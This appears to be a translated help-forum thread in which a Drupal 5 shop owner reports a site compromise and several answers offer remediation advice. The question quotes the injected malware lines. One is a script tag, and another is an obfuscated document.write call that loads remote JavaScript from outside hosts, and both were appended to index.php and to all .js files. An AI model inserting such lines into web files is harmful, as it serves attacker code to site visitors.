这是关于基于 Drupal 5 的在线商店。
突然间它不再起作用了。访问该网站时,出现此错误:
解析错误:语法错误,/home/public_html/index.php 第 38 行出现意外的“<”
经过进一步检查,我在该index.php文件的末尾发现了以下两行:
<script type="text/javascript" src="http://blog.nodisposable.com:8080/Hibernate.js"></script>
<!--7379ba6e55616ea66ac9d812fc0597ba-->
手动删除这两行后,该网站似乎又可以正常运行。
但在收到更多问题(编辑页面时)报告后,我发现实际上所有 *.js 文件都“被感染”了。它们末尾都包含一行额外的内容:
document.write('<s'+'cript type="text/javascript" src="http://blog.nodisposable.com:8080/Hibernate.js"></scr'+'ipt>');
这个网站被黑了吗?在谷歌上搜索“blog.nodisposable.com”,没有找到任何有趣的内容。这个网站本身看起来是合法的。它自己可能被黑了?
有人能解释一下这是怎么发生的吗?我能做些什么来扭转这种局面?我能做些什么来避免将来再发生这种情况?
更新
恢复网站备份(不是数据库)后,该问题再次出现,但现在脚本标签指向dolfy.sedonahyperbarics.com:8080/XHTML.js
。
显然,还创建了许多随机的 Drupal 用户帐户。所以这可能表明它实际上是一个 Drupal 漏洞。
我们已删除它们,并将用户帐户创建限制为仅管理员(我知道从一开始就应该这样做 :-s)。我们还将管理员用户密码更改为更安全。
希望它现在不会再回来。
答案1
如果遭到黑客攻击,您不知道是否安装了后门。
重新格式化后,您可能必须从已知良好的备份中重新安装。
永远不要相信曾经被入侵过的系统。
为了防止将来再次发生这种情况,您必须跟上更新,并订阅与您正在运行的软件的漏洞和最佳实践保持同步的列表(drupal 列表、平台的安全列表等),以及将服务锁定为仅对使用系统必不可少的用户,使用安全密码,不以明文形式执行任何操作,以及安全最佳实践下的所有其他内容,这些内容远远超出了此处答案的范围。并保留良好的备份并加入入侵检测(例如类似 Tripwire 的系统)以检查入侵者活动。
答案2
是的,恐怕你被感染了。不幸的是,如果不投入大量时间和精力,就无法知道“如何”感染。这可能是 Drupal 安装(或其中一个模块)中的漏洞,可能是同一服务器上另一个应用程序中的漏洞,可能是弱(或被盗)FTP 密码等。有很多可能的入口点。
答案3
我看到了一些非常相似(几乎相同)但与 Drupal 无关的东西,而且它肯定是一种黑客攻击。
就像其他人所说的那样,如果没有更多关于您环境的信息,很难知道。您可以快速阻止它被提供服务,方法是将一个指令放入您的 .htaccess 文件中,该指令将拒绝或重定向到该 .js 文件的任何请求。
答案4
虽然完全基于我自己的经验,但每次这样的黑客攻击,特别是再次感染,都是因为某个拥有服务器 FTP 访问权限的人的本地机器被感染,并且某些东西窃取了凭据 - 您需要检查 FTP 日志并确保您识别出所有 IP 地址和更新都是有效的 - 如果有什么东西再次感染,您应该很容易在那里看到它,如果是这种情况的话。